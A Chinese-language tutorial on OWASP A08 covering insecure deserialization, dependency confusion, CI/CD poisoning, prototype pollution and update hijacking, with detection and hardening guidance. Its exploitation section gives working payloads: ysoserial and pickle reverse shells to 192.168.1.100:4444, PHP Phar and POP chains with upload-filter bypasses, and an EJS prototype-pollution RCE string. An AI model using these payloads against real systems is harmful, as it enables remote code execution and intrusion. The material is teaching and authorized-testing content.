Skip to content

反序列化与供应链投毒:软件完整性是怎么被突破的

A08 是 2021 榜单全新加入的一项(部分内容从 2017 的 A08 反序列化扩展而来)。它的核心问题只有一个字: —— 你凭什么相信你收到的东西,还是发出时的那个东西?


一、封条完好不代表没被动过

封条完好,不代表里面没被动过

你网购了一台笔记本。快递员送到时,箱子是完好的、封条是完整的、外观没问题

你签收了,开机,发现里面被人提前装了一个键盘记录器。

问题出在哪?你验证了"包裹有没有被拆过",但没验证"包裹发出时里面装的是什么"。 —— 如果攻击者是在发货环节(工厂、仓库、运输链)动的手,完好的封条反而成了最好的伪装。

软件与数据完整性失败 就是这个意思:在"数据/代码从产生到被使用"的链条上,缺少了"完整性校验"这一环。

四类完整性缺口

#缺口类型典型表现代表漏洞
1反序列化不可信数据直接 readObject() 客户端传来的序列化数据Java/PHP/Python 反序列化 RCE
2更新/分发无签名校验自动更新走 HTTP、不校验签名更新劫持、供应链投毒
3CI/CD 管道被污染构建机权限过大、流水线可被注入SolarWinds 类攻击
4依赖来源混乱私有包与公共包同名 → 依赖混淆Dependency Confusion

加密解决「偷看」,签名解决「偷换」

这两个经常被搞混,但它们保护的东西完全不同:

机密性(Confidentiality):别人看不到        → 加密(Encryption)
完整性(Integrity):别人改不了 / 改了我知道  → 签名(Signature)/ MAC / 哈希校验

加密不提供完整性保证。 这是最容易踩的坑(在 A02 里也提过):

  • 用 AES-CBC 加密的数据,攻击者不需要知道密钥,也能翻转密文中的某些位,从而改变解密后的明文。
  • 只有 AEAD 模式(如 AES-GCM)或额外做 HMAC 才能同时保证完整性和机密性。

💡 一句话记住加密解决"偷看",签名解决"偷换"。 两个问题,两套机制。

攻击成立的三要素

完整性攻击要成立,通常需要:

  1. 存在一条"不可信输入 → 被执行/被信任"的路径 —— 反序列化入口、更新接口、CI 脚本。
  2. 该路径上缺少完整性校验 —— 无签名、无哈希比对、无白名单。
  3. 攻击者能够控制或影响输入 —— 能改请求体、能发布恶意包、能改 CI 配置。

影响分 7.50:一旦成功就是系统级沦陷

OWASP 数据:CWE 集合 10 个,平均加权利用率 5.33%,影响 7.50% —— 影响分很高(7.50%),因为一旦攻击成功,往往是系统级沦陷大范围供应链污染

典型场景:

场景一:Java 反序列化 RCE

请求体: rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1Z...(base64 的序列化对象)
服务端: ObjectInputStream.readObject()  ← 直接反序列化
结果:   触发 gadget chain → 任意代码执行

场景二:依赖混淆(Dependency Confusion)

公司内部有私有包: @company/ui-kit@1.2.3
攻击者去 npm 发布同名包: @company/ui-kit@99.99.99  (版本号更高)

npm 安装时的行为:
  → 比较公共源和私有源的版本
  → 选版本更高的那个  ← 装了攻击者的包!

结果: 攻击者的 postinstall 脚本在【开发者机器】和【CI 服务器】上执行

这个攻击在 2021 年 Alex Birsan 公布后,波及了 Apple、Microsoft、PayPal、Tesla 等 35+ 家大厂,每家获得的赏金都在数万美元。

场景三:CI/CD 投毒(SolarWinds 事件)

攻击者入侵构建服务器 → 在编译过程中注入后门代码
→ 后门随"官方签名"的更新包分发给 18000 家客户
→ 客户验证签名:签名有效(因为确实是官方签的)
→ 但代码是恶意的

关键教训:签名只能证明"谁签的",不能证明"代码是安全的"

场景四:原型链污染(Node.js)

javascript
// 不安全的递归合并
merge({}, JSON.parse('{"__proto__":{"isAdmin":true}}'))
// 结果:所有对象的 isAdmin 都变成 true
// 影响:权限校验绕过、DoS、甚至 RCE

场景五:自动更新劫持

客户端检查更新: http://update.company.com/latest.json   ← HTTP 明文!
攻击者中间人劫持 → 返回恶意更新包的 URL
客户端下载并安装 → 无签名校验 → 中招

📌 真实场景:审计一个内部系统时,发现它的"插件更新"功能是这么实现的:从配置的 URL 下载一个 zip,解压后直接覆盖到 plugins 目录,然后加载。全程走 HTTP,无签名,无哈希校验。这意味着只要能劫持那个 URL(DNS 劫持、内网 ARP 欺骗、或者拿下那个 CDN),就能给全公司的客户端推送任意代码。 这种"自动更新"在企业内网里其实相当常见。


二、完整性缺口在哪

代码层:各语言的危险函数

危险函数速查表(反序列化 Sink)

语言危险函数说明
JavaObjectInputStream.readObject()最经典
JavaObjectInputStream.readUnshared()同上
JavaXMLDecoder.readObject()XML 反序列化
JavaXStream.fromXML()XStream 反序列化
JavaSnakeYaml.load() / Yaml.load()YAML 反序列化(loadAll 同理)
JavaJSON.parseObject(str, Object.class)fastjson 通用类型
JavaJdbcRowSetImpl + JNDIJNDI 注入
PHPunserialize()经典
PHPphar:// 伪协议 + 文件操作Phar 反序列化(无需 unserialize)
Pythonpickle.loads() / pickle.load()极其危险
Pythonyaml.load()(非 safe_load)PyYAML 反序列化
Pythonmarshal.load()
Nodenode-serializeunserialize()
Node递归 merge 不处理 __proto__原型链污染
.NETBinaryFormatter.Deserialize()官方已标记不安全
.NETJavaScriptSerializer.DeserializeObject
RubyMarshal.load()

审计 grep 命令

bash
# Java 反序列化
grep -rnE "readObject\(|readUnshared\(|XMLDecoder|XStream|fromXML|SnakeYaml|Yaml\.load" --include=*.java

# fastjson 危险用法(目标类型是 Object 或 Class)
grep -rnE "parseObject\(.*Object\.class|parseObject\(.*Class|@type" --include=*.java

# PHP
grep -rnE "unserialize\(|phar://" --include=*.php

# Python
grep -rnE "pickle\.(load|loads)|yaml\.load\(|marshal\.load" --include=*.py

# Node 原型链污染(危险的递归合并)
grep -rnE "__proto__|constructor\s*\[|prototype\s*\[" --include=*.js
grep -rnE "function\s+merge|function\s+extend|deepMerge|Object\.assign" --include=*.js

# .NET
grep -rnE "BinaryFormatter|JavaScriptSerializer|SoapFormatter|NetDataContractSerializer" --include=*.cs

# 危险的动态代码执行(常与反序列化配合)
grep -rnE "eval\(|exec\(|Runtime\.getRuntime|ProcessBuilder|SpelExpressionParser|OgnlUtil" --include=*.{java,py,php,js}

Python pickle 的危险性(这个特别值得强调):

python
# pickle 的设计就决定了它不安全 —— 它可以执行任意代码
import pickle, os

# 恶意 pickle 数据:反序列化时执行系统命令
class Evil:
    def __reduce__(self):
        # __reduce__ 返回 (可调用对象, 参数)
        # 反序列化时会调用 os.system("whoami")
        return (os.system, ('whoami',))

evil_data = pickle.dumps(Evil())
# 受害者端:
pickle.loads(evil_data)   # ← 执行了 whoami!

# ⚠️ pickle 的官方文档明确警告:
# "The pickle module is not secure. Only unpickle data you trust."
# 但很多人不知道,或者知道了仍然在处理"看似可信"的数据

原型链污染的审计

javascript
// ❌ 危险的递归合并(lodash.merge 早期版本、jQuery.extend 等都出过问题)
function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object') {
            merge(target[key], source[key]);   // 递归
        } else {
            target[key] = source[key];         // ← 如果 key 是 __proto__?
        }
    }
    return target;
}

// 攻击
const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, payload);
// 现在所有普通对象的 .isAdmin 都是 true

const user = {};
console.log(user.isAdmin);   // true  ← 权限校验被绕过

// ✅ 安全写法 1:跳过危险 key
function safeMerge(target, source) {
    for (let key in source) {
        // 关键:过滤掉原型相关的 key
        if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
            continue;
        }
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (typeof target[key] !== 'object' || target[key] === null) {
                target[key] = {};
            }
            safeMerge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

// ✅ 安全写法 2:用 Object.create(null) 创建无原型对象
const safeTarget = Object.create(null);   // 没有 __proto__
safeMerge(safeTarget, payload);

// ✅ 安全写法 3:用 Object.defineProperty 赋值(不会触发 setter)
Object.defineProperty(target, key, {
    value: source[key],
    enumerable: true,
    writable: true,
    configurable: true
});

// ✅ 安全写法 4:用 Map 代替对象
const map = new Map();

黑盒:序列化魔数是最好的指纹

检测反序列化入口

序列化数据有明确的魔数特征(前几个字节固定),这是最好用的指纹:

类型特征开头
Java 序列化魔数 0xAC 0xEDBase64 后以 rO0AB 开头
PHP 序列化格式如 O:4:"User":2:{...}O: / a: / s:
Python pickle协议 2 以 \x80\x02 开头base64 后 gASV
.NET BinaryFormatter\x00\x01\x00\x00\x00\xff\xff\xff\xff 开头base64 后 AAEAAAD/////
Java XMLDecoderXML 格式<java> 标签
bash
# 1. 在请求中查找序列化特征
# Java: base64 的 rO0AB 最常见
curl -s https://target.com/api/data | grep -oE "rO0AB[A-Za-z0-9+/=]{20,}"

# 2. 检查 Cookie 中是否有序列化对象(Shiro 的 rememberMe 就是)
curl -sI https://target.com | grep -i "cookie"
# 若 Cookie 值以 rO0AB 开头 → Java 序列化对象

# 3. 检查响应中的序列化数据
curl -s https://target.com/api/export | head -c 100 | xxd | head
# 看前几个字节是否是 ac ed 00 05

# 4. 用 Burp 的插件自动检测
# 插件: Java Deserialization Scanner / Freddy
# 会自动识别请求中的序列化数据并尝试探测 gadget

# 5. 主动探测:提交无害的序列化数据看是否报错
# 生成一个简单的序列化对象(如 java.util.HashMap)提交
echo -n "rO0ABXNyABdqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAEdGVzdHEAfgACeA==" | base64 -d > test.ser
curl -s -X POST https://target.com/api/data \
  -H "Content-Type: application/octet-stream" \
  --data-binary @test.ser
# 若返回 Java 异常堆栈(含 java.io.ObjectInputStream)→ 存在反序列化入口

检测原型链污染

bash
# 在 JSON 请求体中注入 __proto__,看是否影响其他对象的行为
curl -s -X POST https://target.com/api/user/update \
  -H "Content-Type: application/json" \
  -d '{"name":"test","__proto__":{"isAdmin":true}}'

# 然后检查是否有权限变化(用一个普通账号测试)

检测更新机制安全性

bash
# 1. 抓包看更新请求走的是 HTTP 还是 HTTPS
# 用 Burp 抓客户端的更新请求
curl -sI http://update.company.com/latest.json    # HTTP → 危险

# 2. 检查更新包是否有签名
# 下载更新包后检查
file update_package.zip
# 查看是否有 .sig / .asc / .pem 等签名文件

# 3. 检查是否校验哈希
# 更新配置文件里是否有 sha256 / checksum 字段
curl -s https://update.company.com/latest.json | python3 -m json.tool
# 关注: hash / checksum / signature / sha256 字段

依赖混淆:你的私有包名被抢注了吗

bash
# 检测项目是否存在依赖混淆风险
# 原理: 检查 package.json / requirements.txt 中的私有包名,
#       看这些名字在公共源上是否可以被注册

#!/usr/bin/env bash
# 依赖混淆风险检测
# 用法: bash dep_confusion_check.sh package.json

if [ -f "package.json" ]; then
    echo "===== 检查 npm 私有包 ====="
    # 提取所有依赖名
    jq -r '.dependencies // {}, .devDependencies // {} | keys[]' package.json 2>/dev/null | while read pkg; do
        # 查询公共 npm registry
        status=$(curl -s -o /dev/null -w "%{http_code}" \
          "https://registry.npmjs.org/$pkg" --max-time 5)
        if [ "$status" = "404" ]; then
            echo "[!] 风险: $pkg 在公共 npm 上【未被占用】→ 攻击者可注册同名包"
        else
            echo "[OK] $pkg 在公共 npm 上存在(需确认是否为你公司的)"
        fi
    done
fi

if [ -f "requirements.txt" ]; then
    echo
    echo "===== 检查 PyPI 私有包 ====="
    grep -vE "^\s*#" requirements.txt | cut -d= -f1 | cut -d'>' -f1 | cut -d'<' -f1 | while read pkg; do
        [ -z "$pkg" ] && continue
        status=$(curl -s -o /dev/null -w "%{http_code}" \
          "https://pypi.org/pypi/$pkg/json" --max-time 5)
        if [ "$status" = "404" ]; then
            echo "[!] 风险: $pkg 在 PyPI 上【未被占用】→ 攻击者可注册同名包"
        else
            echo "[OK] $pkg 在 PyPI 上存在"
        fi
    done
fi

echo
echo "===== 缓解建议 ====="
echo "1. 在公共 registry 上抢注你的私有包名(哪怕不发代码)"
echo "2. 私有包使用 scope: @company/package-name"
echo "3. 配置 .npmrc 强制私有 scope 走私有源:"
echo "     @company:registry=https://npm.internal.company.com/"
echo "4. 使用锁文件 (package-lock.json / yarn.lock) 锁定解析结果"

黑盒判断依据

检测项特征判断依据
Java 反序列化入口请求体 base64 以 rO0AB 开头存在序列化数据传输
同上响应含 java.io.ObjectInputStream 堆栈确认反序列化入口
PHP 反序列化参数值形如 O:4:"User":2:{}PHP 序列化格式
picklebase64 以 gASV 开头Python pickle
原型链污染注入 __proto__ 后行为改变存在污染
更新不安全更新走 HTTP / 无签名字段可劫持
依赖混淆私有包名在公共源未占用可被抢注
CI 权限过大CI 有生产环境写权限可被投毒
无完整性校验下载文件后不校验 hash可替换

三、反序列化与供应链的实战复现

⚠️ 以下内容仅限授权渗透测试 / 自有系统 / 安全研究环境中使用。

ysoserial 完整流程:从 URLDNS 到 RCE

Step 1:确认入口

bash
# 用 Burp 抓包,看请求体/参数中是否有 rO0AB 开头的 base64
# 或用主动探测(见上一小节的检测方法)

Step 2:确定可用的 gadget chain

bash
# ysoserial 支持的链(列出所有)
java -jar ysoserial.jar

# 常见链及适用依赖:
#   CommonsCollections1-7    需要 commons-collections 3.x
#   CommonsBeanutils1        需要 commons-beanutils(Shiro 默认带)
#   URLDNS                   【无依赖】,只做 DNS 探测,最安全
#   Jdk7u21                  只需要 JDK 7u21 及以下
#   Spring1/Spring2          需要 spring-core / spring-beans
#   Groovy1                  需要 groovy
#   Hibernate1/2             需要 hibernate
#   JSON1                    需要 json-lib
#   ROME                     需要 rome
#   C3P0 / Click1 / Vaadin1  各自需要对应依赖

# 策略:先用 URLDNS 判断"是否存在反序列化入口"
#       再逐个尝试其他链判断是否可 RCE

Step 3:URLDNS 探测(安全,推荐先做这个)

bash
# URLDNS 链不执行任何命令,只触发一次 DNS 查询
# 这是【最安全】的验证方式,适合生产环境检测
java -jar ysoserial.jar URLDNS "http://yourdomain.dnslog.cn" > urldns_payload.ser

# base64 编码后提交
base64 -w0 urldns_payload.ser

# 提交到目标
curl -s -X POST https://target.com/api/data \
  -H "Content-Type: application/octet-stream" \
  --data-binary @urldns_payload.ser

# 到 DNSLog 平台查看是否有解析记录
# 有记录 → 目标确实反序列化了我们的数据(漏洞存在)

Step 4:RCE 利用

bash
# 1. 准备反弹 shell 命令(必须 base64 编码,避免特殊字符被 shell 解析破坏)
# 原始命令: bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
CMD_B64=$(echo -n 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1' | base64 -w0)
echo "$CMD_B64"

# 2. 生成 payload(使用编码后的命令)
java -jar ysoserial.jar CommonsCollections6 \
  "bash -c {echo,${CMD_B64}}|{base64,-d}|{bash,-i}" > rce_payload.ser
# 解释: bash -c "{echo,<base64>}|{base64,-d}|{bash,-i}"
#       → echo 输出 base64 字符串
#       → base64 -d 解码
#       → 交给 bash -i 执行
#       这种写法绕过了 Runtime.exec 不支持 shell 语法的限制

# 3. 本地监听
nc -lvnp 4444

# 4. 提交 payload
curl -s -X POST https://target.com/api/data \
  -H "Content-Type: application/octet-stream" \
  --data-binary @rce_payload.ser

# 或者如果是 base64 传参(很多系统会把序列化数据 base64 后放参数里)
curl -s -X POST https://target.com/api/data \
  -d "data=$(base64 -w0 rce_payload.ser)"

常见绕过手法

绕过场景手法
有黑名单类过滤换其他 gadget chain(CommonsCollections1→5→6→7)
请求需为文本(非二进制)base64 / hex 编码传输
WAF 检测 rO0AB用 gzip/加密包装;或用 XMLDecoder/XStream 等其他反序列化途径
反序列化前有类型检查找绕过方式(如 fastjson 的 @type 缓存绕过)
无回显用 DNSLog 外带,或写文件后通过其他路径访问

PHP 反序列化与 Phar 的妙用

基础利用

php
<?php
// 利用 __destruct / __wakeup / __toString 等魔术方法构造 POP 链

class VulnerableClass {
    public $cmd;
    // 对象销毁时自动调用
    public function __destruct() {
        system($this->cmd);      // ← 危险 sink
    }
}

// 生成 payload
$obj = new VulnerableClass();
$obj->cmd = "whoami";
echo serialize($obj);
// 输出: O:15:"VulnerableClass":1:{s:3:"cmd";s:6:"whoami";}
?>
bash
# 提交
curl -s "https://target.com/page.php?data=O:15:%22VulnerableClass%22:1:%7Bs:3:%22cmd%22;s:6:%22whoami%22;%7D"

# 用 PHP 生成更方便
php -r 'class A { public $cmd="id"; function __destruct(){ system($this->cmd); } } echo urlencode(serialize(new A()));'

Phar 反序列化(高级技巧,非常实用)

php
<?php
// Phar 反序列化的价值:即使代码中【没有 unserialize()】,
// 只要存在【文件操作函数】且路径可控,就能触发反序列化!
//
// 受影响的文件函数:
//   file_get_contents, file_put_contents, fopen, file_exists,
//   is_file, is_dir, unlink, copy, include, require, md5_file, ...

// 1. 生成恶意 phar 文件
class Evil {
    public $cmd = "whoami";
    public function __destruct() {
        system($this->cmd);
    }
}

// 创建 phar(需要 php.ini 设置 phar.readonly=0)
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
// 关键:把序列化对象放进 metadata
$phar->setMetadata(new Evil());
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>
bash
# 2. 上传 evil.phar(可能需要改后缀绕过上传限制,如改成 .jpg)
# 3. 利用文件操作函数触发(路径用 phar:// 伪协议)
curl -s "https://target.com/page.php?file=phar://uploads/evil.jpg"
# 只要有 file_exists($file) 这样的操作,就会反序列化 metadata → RCE

# 绕过 phar 文件头检测:
#  - 改后缀为 jpg/png/gif
#  - 或在前面加图片头(GIF89a)
#  - gzip 压缩: phar:// 支持 gzip/bzip2 包装
php -r '$p = file_get_contents("evil.phar"); file_put_contents("evil.jpg", "GIF89a" . $p);'

pickle:天生不安全的反序列化

python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
pickle 反序列化利用演示 —— 仅用于授权测试
原理:pickle 的 __reduce__ 允许指定"反序列化时调用哪个可调用对象",
      这是 pickle 协议的正常功能,但也导致它天然可以执行任意代码。
"""
import pickle
import os
import base64

# ===== 方法 1: __reduce__ 直接执行命令 =====
class Exploit1:
    def __reduce__(self):
        # 返回 (可调用对象, 参数元组)
        # 反序列化时会执行 os.system("whoami")
        return (os.system, ('whoami',))

payload1 = pickle.dumps(Exploit1())
print("[+] Payload 1 (直接命令):")
print(base64.b64encode(payload1).decode())

# ===== 方法 2: 反弹 shell =====
class Exploit2:
    def __reduce__(self):
        cmd = "bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'"
        return (os.system, (cmd,))

payload2 = pickle.dumps(Exploit2())

# ===== 方法 3: 使用 subprocess(更通用)=====
import subprocess
class Exploit3:
    def __reduce__(self):
        return (subprocess.check_output, (['whoami'],))

payload3 = pickle.dumps(Exploit3())

# ===== 方法 4: 绕过简单过滤(用 exec/eval)=====
class Exploit4:
    def __reduce__(self):
        return (eval, ("__import__('os').system('id')",))

payload4 = pickle.dumps(Exploit4())

print()
print("[*] 使用方式:")
print("    受害者端执行: pickle.loads(base64.b64decode(payload))")
print()
print("[*] 检测到 pickle 的特征:")
print("    - pickle.dumps 产生的字节流,协议2以 b'\\x80\\x02' 开头")
print("    - base64 后常以 'gASV' 开头")
print()
print("[*] 修复方案:")
print("    1. 永远不要反序列化不可信数据(官方建议)")
print("    2. 改用 JSON 等纯数据格式")
print("    3. 如必须用,实现受限的 Unpickler,白名单化允许的类")

受限 Unpickler(白名单方案)

python
import pickle
import io

class RestrictedUnpickler(pickle.Unpickler):
    """
    受限的反序列化器:只允许白名单中的类
    """
    # 白名单:只允许这些"安全"的类
    ALLOWED_CLASSES = {
        'builtins.dict',
        'builtins.list',
        'builtins.str',
        'builtins.int',
        'builtins.float',
        'builtins.bool',
        'builtins.tuple',
        'builtins.set',
        'collections.OrderedDict',
    }

    def find_class(self, module, name):
        """
        pickle 在加载任何全局对象时都会调用这个方法
        重写它可以拦截所有类的加载
        """
        full_name = f"{module}.{name}"

        # 关键:严格白名单,不在白名单的一律拒绝
        if full_name not in self.ALLOWED_CLASSES:
            raise pickle.UnpicklingError(
                f"禁止反序列化类: {full_name}(不在白名单中)"
            )

        return super().find_class(module, name)

def safe_loads(data: bytes):
    """安全的反序列化入口"""
    return RestrictedUnpickler(io.BytesIO(data)).load()

# 测试
try:
    result = safe_loads(malicious_payload)
except pickle.UnpicklingError as e:
    print(f"[!] 已拦截: {e}")

原型链污染:改一个 proto 提权

javascript
// ===== 场景 1: 权限绕过 =====
// 假设服务端代码:
//   const userData = JSON.parse(request.body);
//   merge(userConfig, userData);   // 不安全的 merge
//   if (user.isAdmin) { /* 管理员操作 */ }

// 攻击 payload
const payload = '{"__proto__":{"isAdmin":true}}';

// 污染后,所有对象都"继承"了 isAdmin: true
const normalUser = { name: "guest" };
console.log(normalUser.isAdmin);   // true ← 权限绕过

// ===== 场景 2: RCE(配合模板引擎 / 子进程调用)=====
// 某些 Node 库在调用子进程时会读取 options 对象,
// 污染 shell / env 等属性可导致命令注入

// EJS / Pug 模板引擎的历史漏洞
const rcePayload = JSON.stringify({
    "__proto__": {
        "outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"
    }
});

// ===== 场景 3: DoS =====
// 污染内置方法导致崩溃
const dosPayload = '{"__proto__":{"toString":"not a function"}}';
// 之后任何对象的 toString() 都会抛异常

// ===== 场景 4: 绕过属性检查 =====
// 污染 hasOwnProperty 等
'{"__proto__":{"hasOwnProperty":true}}'

自动化检测脚本

bash
#!/usr/bin/env bash
# 原型链污染检测
# 用法: bash proto_pollution_check.sh https://target.com

TARGET="$1"
ENDPOINT="${2:-/api/user/update}"

echo "===== 测试 1: 基础 __proto__ 注入 ====="
curl -s -X POST "$TARGET$ENDPOINT" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","__proto__":{"polluted":"yes"}}' | head -c 300
echo

echo "===== 测试 2: constructor.prototype 注入 ====="
curl -s -X POST "$TARGET$ENDPOINT" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","constructor":{"prototype":{"polluted":"yes"}}}' | head -c 300
echo

echo "===== 测试 3: 嵌套注入(绕过浅层过滤)====="
curl -s -X POST "$TARGET$ENDPOINT" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","profile":{"__proto__":{"polluted":"yes"}}}' | head -c 300
echo

echo "===== 测试 4: 权限字段污染 ====="
curl -s -X POST "$TARGET$ENDPOINT" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","__proto__":{"isAdmin":true,"role":"admin"}}' | head -c 300
echo

echo
echo "===== 验证是否污染成功 ====="
echo "访问一个普通接口,看响应中是否出现 polluted 字段或权限变化"
curl -s "$TARGET/api/profile" | head -c 300
echo

CI/CD 管道安全检查

bash
#!/usr/bin/env bash
# CI/CD 配置安全检查(防御视角)
# 用法: bash cicd_security_check.sh /path/to/repo

REPO="${1:-.}"
echo "=========== CI/CD 安全配置检查: $REPO ==========="
echo

echo "===== 1. 检查是否使用了可变的 action/流水线引用 ====="
# ❌ 风险: uses: actions/checkout@main   (攻击者若能修改该仓库的 main 分支,就能注入代码)
# ✅ 安全: uses: actions/checkout@v4      (标签)
# ✅ 最安全: uses: actions/checkout@<完整 commit sha>
if [ -d "$REPO/.github/workflows" ]; then
    grep -rnE "uses:.*@(main|master|develop|latest)$" "$REPO/.github/workflows/" 2>/dev/null \
      && echo "[!] 发现可变引用,建议固定到 commit SHA" \
      || echo "[OK] 未发现可变引用"
else
    echo "[SKIP] 无 .github/workflows"
fi

echo
echo "===== 2. 检查是否允许 pull_request_target + 代码检出 ====="
# ❌ 高危组合: on: pull_request_target + actions/checkout 拉取 PR 代码 + 执行
# 这会让【外部贡献者的代码】在【有 secrets 权限】的上下文中执行
if [ -d "$REPO/.github/workflows" ]; then
    for f in "$REPO/.github/workflows"/*.y*ml; do
        [ -e "$f" ] || continue
        if grep -q "pull_request_target" "$f" && grep -qE "actions/checkout" "$f"; then
            if grep -A5 "actions/checkout" "$f" | grep -qE "ref:.*github.event.pull_request"; then
                echo "[!] 高危: $f 使用 pull_request_target 且检出 PR 代码"
                echo "    攻击者可窃取 secrets 或篡改构建产物"
            fi
        fi
    done
fi

echo
echo "===== 3. 检查 secrets 是否被打印 ====="
if [ -d "$REPO/.github/workflows" ]; then
    grep -rnE "echo.*\\\$\{\{.*secrets\.|run:.*\\\$\{\{.*secrets\." "$REPO/.github/workflows/" 2>/dev/null \
      && echo "[!] 发现 secrets 可能被输出到日志" \
      || echo "[OK] 未发现 secrets 泄露风险"
fi

echo
echo "===== 4. 检查是否有危险的命令注入点 ====="
# GitHub Actions 中,${{ github.event.issue.title }} 等可被攻击者控制的变量,
# 若直接拼进 run: 命令,可导致命令注入
if [ -d "$REPO/.github/workflows" ]; then
    grep -rnE "run:.*\\\$\{\{.*github\.event\.(issue|pull_request|comment)" "$REPO/.github/workflows/" 2>/dev/null \
      && echo "[!] 发现潜在的命令注入(事件数据直接进 run)" \
      && echo "    修复: 用 env: 传递,再用 \$VAR 引用" \
      || echo "[OK] 未发现命令注入模式"
fi

echo
echo "===== 5. 检查 Jenkinsfile ====="
if [ -f "$REPO/Jenkinsfile" ]; then
    grep -nE "sh\s+[\"'].*\\\$\{params|sh\s+[\"'].*\\\$\{env\.[A-Z_]*\}.*[\"']" "$REPO/Jenkinsfile" 2>/dev/null \
      && echo "[!] 潜在命令注入:参数直接拼进 shell" \
      || echo "[OK] 未发现明显的命令注入"
fi

echo
echo "===== 6. 检查依赖锁定文件是否提交 ====="
for lock in package-lock.json yarn.lock pnpm-lock.yaml poetry.lock Pipfile.lock go.sum; do
    if [ -f "$REPO/$lock" ]; then
        echo "[OK] 存在锁定文件: $lock"
    fi
done
if [ -f "$REPO/package.json" ] && [ ! -f "$REPO/package-lock.json" ]; then
    echo "[!] package.json 存在但无 package-lock.json → 依赖解析不确定"
fi

echo
echo "===== 7. 检查是否有签名/完整性校验步骤 ====="
if [ -d "$REPO/.github/workflows" ]; then
    grep -rqiE "cosign|sigstore|slsa|attestation|gpg.*verify|sign" "$REPO/.github/workflows/" 2>/dev/null \
      && echo "[OK] 发现签名/证明相关步骤" \
      || echo "[!] 未发现构建产物签名步骤,建议接入 cosign + SLSA provenance"
fi

echo
echo "=========== 检查完成 ==========="

四、签名校验与 CI 加固

根治:不要反序列化不可信数据

原则:不要反序列化不可信数据。这条原则适用于所有语言。

Java 的三种防护方案

java
// ===== 方案 1: ObjectInputFilter(Java 9+,JDK 原生,推荐)=====
public class SafeDeserializer {

    public static Object deserialize(byte[] data) throws Exception {
        try (ByteArrayInputStream bis = new ByteArrayInputStream(data);
             ObjectInputStream ois = new ObjectInputStream(bis)) {

            // 设置反序列化过滤器:白名单模式
            ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(
                // 只允许这些包下的类,其余全部拒绝
                "com.mycompany.safe.dto.*;" +      // 白名单:自己的 DTO
                "java.lang.String;" +
                "java.lang.Integer;" +
                "java.util.ArrayList;" +
                "java.util.HashMap;" +
                "!*"                                // 拒绝其他所有类
            ));

            return ois.readObject();
        }
    }
}

// 也可以全局设置(JVM 参数)
// -Djdk.serialFilter="com.mycompany.*;!*"

// 过滤器语法说明:
//   "com.example.*"   允许该包下所有类
//   "!com.example.*"  拒绝该包下所有类
//   "!*"              拒绝所有(放在最后作为兜底)
//   "maxdepth=5"      限制反序列化深度
//   "maxrefs=100"     限制对象引用数
//   "maxbytes=1024"   限制字节数
//   多个规则用分号分隔,按顺序匹配
java
// ===== 方案 2: 重写 resolveClass(Java 8 及更早)=====
public class WhiteListObjectInputStream extends ObjectInputStream {

    // 白名单:只允许这些类被反序列化
    private static final Set<String> ALLOWED_CLASSES = Set.of(
        "com.mycompany.dto.UserDTO",
        "com.mycompany.dto.OrderDTO",
        "java.lang.String",
        "java.lang.Integer",
        "java.util.ArrayList",
        "java.util.HashMap"
    );

    public WhiteListObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc)
            throws IOException, ClassNotFoundException {
        String className = desc.getName();

        // 关键:严格白名单校验
        if (!ALLOWED_CLASSES.contains(className)) {
            throw new InvalidClassException("禁止反序列化的类: " + className);
        }

        return super.resolveClass(desc);
    }
}
java
// ===== 方案 3(最推荐): 彻底不用原生序列化,改用 JSON =====
// 用 Jackson / Gson 替代
ObjectMapper mapper = new ObjectMapper();

// ✅ 安全:反序列化为【具体类型】,而非 Object
UserDTO user = mapper.readValue(json, UserDTO.class);

// ❌ 危险:反序列化为 Object / Map<String,Object>
//    会保留类型信息,可能被利用
// Object obj = mapper.readValue(json, Object.class);

// ⚠️ Jackson 也要禁用默认类型(default typing)
mapper.deactivateDefaultTyping();
// ❌ 绝不要: mapper.enableDefaultTyping();   // 这会在 JSON 中加入 @class,等同 fastjson 的 @type

各语言的安全替代方案

语言危险做法安全替代
JavaObjectInputStreamJackson 反序列化到具体类型 / ObjectInputFilter 白名单
PHPunserialize()json_decode()
Pythonpickle.loads()json.loads() / 受限 Unpickler
Pythonyaml.load()yaml.safe_load()
.NETBinaryFormatterSystem.Text.Json / DataContractSerializer
Node递归 merge过滤 __proto__ 的安全 merge

fastjson 安全配置

java
// ✅ 开启 safeMode(fastjson 1.2.68+),完全禁用 autoType
ParserConfig.getGlobalInstance().setSafeMode(true);

// 或局部禁用
JSON.parseObject(json, UserDTO.class, Feature.DisableSpecialKeyDetect);

// ❌ 危险用法
// JSON.parseObject(json);              // 无类型,会用 JSONObject
// JSON.parseObject(json, Object.class); // 通用类型,可被 @type 利用
// JSON.parse(json);                     // 同上

签名校验:所有「下载后执行」都要验

这是 A08 最核心的防护 —— 所有"从外部获取并执行的产物"都必须验签。

bash
# ===== 使用 Sigstore/cosign 为容器镜像签名(现代标准)=====

# 1. 安装 cosign
# https://github.com/sigstore/cosign

# 2. 生成密钥对(或使用 keyless 模式)
cosign generate-key-pair
# 生成 cosign.key(私钥,妥善保管)和 cosign.pub(公钥,公开分发)

# 3. 为镜像签名
cosign sign --key cosign.key myregistry/myapp:v1.0.0

# 4. 部署时验证签名(关键步骤!)
cosign verify --key cosign.pub myregistry/myapp:v1.0.0

